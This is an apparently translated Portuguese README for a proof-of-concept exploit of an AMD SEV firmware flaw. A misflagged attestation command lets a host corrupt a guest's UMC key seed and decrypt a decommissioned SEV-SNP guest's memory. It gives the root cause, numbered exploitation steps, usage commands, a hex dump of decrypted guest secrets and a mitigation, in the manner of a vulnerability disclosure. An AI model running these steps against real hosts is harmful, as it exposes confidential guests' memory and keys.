Vulnerabilidade no Firmware SEV

Este repositório contém um exploit para uma vulnerabilidade no firmware SEV. O exploit permite descriptografar memória arbitrária de um convidado SEV-SNP após ele ter sido descomissionado.

Testado na versão 1.55.16 (a mais recente no momento da escrita).

Causa Raiz

O firmware SEV possui uma tabela chamada master_handler_table contendo ponteiros de função para todos os comandos, com algumas propriedades adicionais relevantes para os comandos. Duas dessas propriedades adicionais são cmd_buf_type e snp_cmd_buf_enforcement. cmd_buf_type determina se o buffer de comando deve ser copiado para e/ou da memória do host. snp_cmd_buf_enforcement determina se essas operações de cópia devem estar sujeitas a verificações que confirmam se a memória que sustenta o buffer de comando está no estado FIRMWARE ou DEFAULT. Comandos para os quais cmd_buf_type é CMD_BUF_OUTPUT_ONLY, CMD_BUF_INPUT_AND_OUTPUT ou CMD_BUF_INPUT_AND_OUTPUT_ERROR devem ter snp_cmd_buf_enforcement definido como true. Caso contrário, a gravação da saída do comando poderia causar corrupção de memória dentro da área coberta pelo RMP. snp_cmd_buf_enforcement é true para todos esses comandos, com uma exceção - SEV_MCMD_ID_ATTESTATION: Este comando tem cmd_buf_type definido como CMD_BUF_INPUT_AND_OUTPUT_ERROR, mas também tem snp_cmd_buf_enforcement definido como false. Como resultado, é possível executar SEV_MCMD_ID_ATTESTATION com um buffer de comando apontando para memória coberta pelo RMP e fazer com que essa memória seja corrompida quando a saída for gravada de volta.

Não vejo por que SEV_MCMD_ID_ATTESTATION precisaria ser uma exceção; parece-me plausível que isso possa ser um erro de digitação/cópia e colagem.

Exploit

SEV_MCMD_ID_ATTESTATION grava apenas em um único campo length (4 bytes) no buffer de comando e, portanto, esses são os únicos bytes que podemos usar para corromper memória. SEV_MCMD_ID_ATTESTATION sempre grava o mesmo valor - 0x000000d0. Felizmente, não há requisitos de alinhamento no buffer de comando e, portanto, podemos deslocar o buffer de comando repetidamente para corromper uma faixa maior de memória contígua. Usaremos isso para corromper os primeiros 16 bytes de uma página de contexto de convidado com um padrão estático. Esses primeiros 16 bytes contêm a semente da chave UMC e, ao forçá-la para um valor estático, podemos forçar a chave de criptografia do convidado para um valor estático.

O exploit fornecido aqui é fortemente baseado no que forneci para SWPSIRT-2684/CVE-2023-31355.

Para explorar a vulnerabilidade, podemos executar os seguintes passos:

Inicie um convidado SEV ou SEV-ES. Isso é necessário para SEV_MCMD_ID_ATTESTATION. Mantenha esse convidado em execução.
Crie uma página de contexto de convidado no endereço 0x2000 para o convidado vítima. Qualquer outro endereço na área coberta pelo RMP também serviria, embora um endereço fixo seja útil para depuração.
Use a vulnerabilidade para corromper a semente da chave UMC do convidado vítima.
Ative a página de contexto do convidado vítima e inicie e execute o convidado vítima.
Descomissione o convidado vítima.
Crie uma página de contexto de convidado no endereço 0x2000 para o convidado atacante. Este deve ser o mesmo endereço usado no passo 1.
Use a vulnerabilidade para corromper a semente da chave UMC do convidado atacante.
Ative a página de contexto do convidado atacante e inicie com a flag de depuração habilitada.
Atribua a memória do convidado vítima ao convidado atacante.
Use o comando SNP_DBG_ENCRYPT para descriptografar a memória do convidado vítima usando a página de contexto do convidado atacante. Isso terá êxito porque o convidado vítima e o convidado atacante compartilham uma semente de chave UMC.

Impacto

O impacto aqui deve ser pelo menos o mesmo do SWPSIRT-2684. No momento, não está claro para mim se esse bug pode ser usado para descriptografar a memória de um convidado em execução antes de ele ser descomissionado.

Mitigação

snp_cmd_buf_enforcement deve ser definido como true para SEV_MCMD_ID_ATTESTATION.

Curiosamente, os patches de suporte ao host KVM do Linux não precisam ser atualizados, pois já listam SEV_CMD_ATTESTATION_REPORT em sev_cmd_buf_writable como um comando que exige que seu buffer de comando esteja no estado FIRMWARE. Alterações podem ou não ser necessárias para outros hipervisores.

Uso do PoC

Altere a área coberta pelo RMP no BIOS para 64GiB (0x10000 páginas de 1-MiB). Se o seu sistema não suportar isso, os patches do Linux precisarão ser ajustados de acordo. O PoC foi testado em um sistema com 128GiB de memória.
Aplique os patches da pasta linux-patches ao commit mais recente de https://github.com/AMDESE/linux/commits/snp-host-v10. Compile, instale e inicialize o kernel.
Inicie um convidado SEV ou SEV-ES e mantenha-o em execução.
Inicie um convidado vítima SEV-SNP.
Pare o convidado vítima.
Inspecione os logs do kernel para encontrar a localização da página secreta criada durante a inicialização.
```
root@server:~# dmesg | grep "kvm_amd: Detected secret page"
[  463.851449] kvm_amd: Detected secret page at pfn 171a24
```

Execute o PoC.

root@server:~/firmware-vuln-poc# cargo run -- --pfn 0x171a24 
    Finished dev [unoptimized + debuginfo] target(s) in 0.03s
Creating VM with identical UMC key seed
Raw page:
000: 0300000000000000110fa00000000000000000000000000000000000a98d95ff
020: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
040: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
060: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
080: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
0a0: 0000000000000000000000000000000000000000000000000000000000000000
0c0: 0000000000000000000000000000000000000000000000000000000000000000
0e0: 0000000000000000000000000000000000000000000000000000000000000000
100: 000000000080008800000000eeff0000f0ffffffffffffffff3f000000000000
120: 0000000000000000000000000000000000000000000000000000000000000000
140: 0000000000000000000000000000000000000000000000000000000000000000
160: c800000000000000000000000000000000000000000000000000000000000000
180: 0000000000000000000000000000000000000000000000000000000000000000
1a0: 0000000000000000000000000000000000000000000000000000000000000000
1c0: 0000000000000000000000000000000000000000000000000000000000000000
1e0: 0000000000000000000000000000000000000000000000000000000000000000
200: 0000000000000000000000000000000000000000000000000000000000000000
220: 0000000000000000000000000000000000000000000000000000000000000000
240: 0000000000000000000000000000000000000000000000000000000000000000
260: 0000000000000000000000000000000000000000000000000000000000000000
280: 0000000000000000000000000000000000000000000000000000000000000000
2a0: 0000000000000000000000000000000000000000000000000000000000000000
2c0: 0000000000000000000000000000000000000000000000000000000000000000
2e0: 0000000000000000000000000000000000000000000000000000000000000000
300: 0000000000000000000000000000000000000000000000000000000000000000
320: 0000000000000000000000000000000000000000000000000000000000000000
340: 0000000000000000000000000000000000000000000000000000000000000000
360: 0000000000000000000000000000000000000000000000000000000000000000
380: 0000000000000000000000000000000000000000000000000000000000000000
3a0: 0000000000000000000000000000000000000000000000000000000000000000
3c0: 0000000000000000000000000000000000000000000000000000000000000000
3e0: 0000000000000000000000000000000000000000000000000000000000000000
400: 0000000000000000000000000000000000000000000000000000000000000000
420: 0000000000000000000000000000000000000000000000000000000000000000
440: 0000000000000000000000000000000000000000000000000000000000000000
460: 0000000000000000000000000000000000000000000000000000000000000000
480: 0000000000000000000000000000000000000000000000000000000000000000
4a0: 0000000000000000000000000000000000000000000000000000000000000000
4c0: 0000000000000000000000000000000000000000000000000000000000000000
4e0: 0000000000000000000000000000000000000000000000000000000000000000
500: 0000000000000000000000000000000000000000000000000000000000000000
520: 0000000000000000000000000000000000000000000000000000000000000000
540: 0000000000000000000000000000000000000000000000000000000000000000
560: 0000000000000000000000000000000000000000000000000000000000000000
580: 0000000000000000000000000000000000000000000000000000000000000000
5a0: 0000000000000000000000000000000000000000000000000000000000000000
5c0: 0000000000000000000000000000000000000000000000000000000000000000
5e0: 0000000000000000000000000000000000000000000000000000000000000000
600: 0000000000000000000000000000000000000000000000000000000000000000
620: 0000000000000000000000000000000000000000000000000000000000000000
640: 0000000000000000000000000000000000000000000000000000000000000000
660: 0000000000000000000000000000000000000000000000000000000000000000
680: 0000000000000000000000000000000000000000000000000000000000000000
6a0: 0000000000000000000000000000000000000000000000000000000000000000
6c0: 0000000000000000000000000000000000000000000000000000000000000000
6e0: 0000000000000000000000000000000000000000000000000000000000000000
700: 0000000000000000000000000000000000000000000000000000000000000000
720: 0000000000000000000000000000000000000000000000000000000000000000
740: 0000000000000000000000000000000000000000000000000000000000000000
760: 0000000000000000000000000000000000000000000000000000000000000000
780: 0000000000000000000000000000000000000000000000000000000000000000
7a0: 0000000000000000000000000000000000000000000000000000000000000000
7c0: 0000000000000000000000000000000000000000000000000000000000000000
7e0: 0000000000000000000000000000000000000000000000000000000000000000
800: 0000000000000000000000000000000000000000000000000000000000000000
820: 0000000000000000000000000000000000000000000000000000000000000000
840: 0000000000000000000000000000000000000000000000000000000000000000
860: 0000000000000000000000000000000000000000000000000000000000000000
880: 0000000000000000000000000000000000000000000000000000000000000000
8a0: 0000000000000000000000000000000000000000000000000000000000000000
8c0: 0000000000000000000000000000000000000000000000000000000000000000
8e0: 0000000000000000000000000000000000000000000000000000000000000000
900: 0000000000000000000000000000000000000000000000000000000000000000
920: 0000000000000000000000000000000000000000000000000000000000000000
940: 0000000000000000000000000000000000000000000000000000000000000000
960: 0000000000000000000000000000000000000000000000000000000000000000
980: 0000000000000000000000000000000000000000000000000000000000000000
9a0: 0000000000000000000000000000000000000000000000000000000000000000
9c0: 0000000000000000000000000000000000000000000000000000000000000000
9e0: 0000000000000000000000000000000000000000000000000000000000000000
a00: 0000000000000000000000000000000000000000000000000000000000000000
a20: 0000000000000000000000000000000000000000000000000000000000000000
a40: 0000000000000000000000000000000000000000000000000000000000000000
a60: 0000000000000000000000000000000000000000000000000000000000000000
a80: 0000000000000000000000000000000000000000000000000000000000000000
aa0: 0000000000000000000000000000000000000000000000000000000000000000
ac0: 0000000000000000000000000000000000000000000000000000000000000000
ae0: 0000000000000000000000000000000000000000000000000000000000000000
b00: 0000000000000000000000000000000000000000000000000000000000000000
b20: 0000000000000000000000000000000000000000000000000000000000000000
b40: 0000000000000000000000000000000000000000000000000000000000000000
b60: 0000000000000000000000000000000000000000000000000000000000000000
b80: 0000000000000000000000000000000000000000000000000000000000000000
ba0: 0000000000000000000000000000000000000000000000000000000000000000
bc0: 0000000000000000000000000000000000000000000000000000000000000000
be0: 0000000000000000000000000000000000000000000000000000000000000000
c00: 0000000000000000000000000000000000000000000000000000000000000000
c20: 0000000000000000000000000000000000000000000000000000000000000000
c40: 0000000000000000000000000000000000000000000000000000000000000000
c60: 0000000000000000000000000000000000000000000000000000000000000000
c80: 0000000000000000000000000000000000000000000000000000000000000000
ca0: 0000000000000000000000000000000000000000000000000000000000000000
cc0: 0000000000000000000000000000000000000000000000000000000000000000
ce0: 0000000000000000000000000000000000000000000000000000000000000000
d00: 0000000000000000000000000000000000000000000000000000000000000000
d20: 0000000000000000000000000000000000000000000000000000000000000000
d40: 0000000000000000000000000000000000000000000000000000000000000000
d60: 0000000000000000000000000000000000000000000000000000000000000000
d80: 0000000000000000000000000000000000000000000000000000000000000000
da0: 0000000000000000000000000000000000000000000000000000000000000000
dc0: 0000000000000000000000000000000000000000000000000000000000000000
de0: 0000000000000000000000000000000000000000000000000000000000000000
e00: 0000000000000000000000000000000000000000000000000000000000000000
e20: 0000000000000000000000000000000000000000000000000000000000000000
e40: 0000000000000000000000000000000000000000000000000000000000000000
e60: 0000000000000000000000000000000000000000000000000000000000000000
e80: 0000000000000000000000000000000000000000000000000000000000000000
ea0: 0000000000000000000000000000000000000000000000000000000000000000
ec0: 0000000000000000000000000000000000000000000000000000000000000000
ee0: 0000000000000000000000000000000000000000000000000000000000000000
f00: 0000000000000000000000000000000000000000000000000000000000000000
f20: 0000000000000000000000000000000000000000000000000000000000000000
f40: 0000000000000000000000000000000000000000000000000000000000000000
f60: 0000000000000000000000000000000000000000000000000000000000000000
f80: 0000000000000000000000000000000000000000000000000000000000000000
fa0: 0000000000000000000000000000000000000000000000000000000000000000
fc0: 0000000000000000000000000000000000000000000000000000000000000000
fe0: 0000000000000000000000000000000000000000000000000000000000000000

Secrets page:
imi_en: false
FMS: 00a00f11
gosvw: 000000000000000000000000a98d95ff
vmpck0: 29d761f0c5bdc1b4b4a69fd2f37c829ca6d30d439252f7daefd72fcd45262053
vmpck1: 3c10be491d825e35ea4166261486e417187c679efcc2d2be8553f32c2c62bbf3
vmpck2: 27ac6d99214a2ce1fc37d35a94475ff377e67caacc43add86e908a9369207343
vmpck3: 14c197ffbcfade378bd1b33819051d5d3628b5eb71a0b84daefed27671e8e202
VMSA tweak bitmap: 000000000080008800000000eeff0000f0ffffffffffffffff3f0000000000000000000000000000000000000000000000000000000000000000000000000000
tsc_factor: 200

Observe que não há nada de especial nas páginas secretas; este exploit também pode ser usado para descriptografar páginas normais. As páginas secretas são usadas no PoC porque possuem conteúdo muito reconhecível, o que facilita perceber que a descriptografia da memória da vítima foi bem-sucedida.

cve-2024-21980-poc

Mais Populares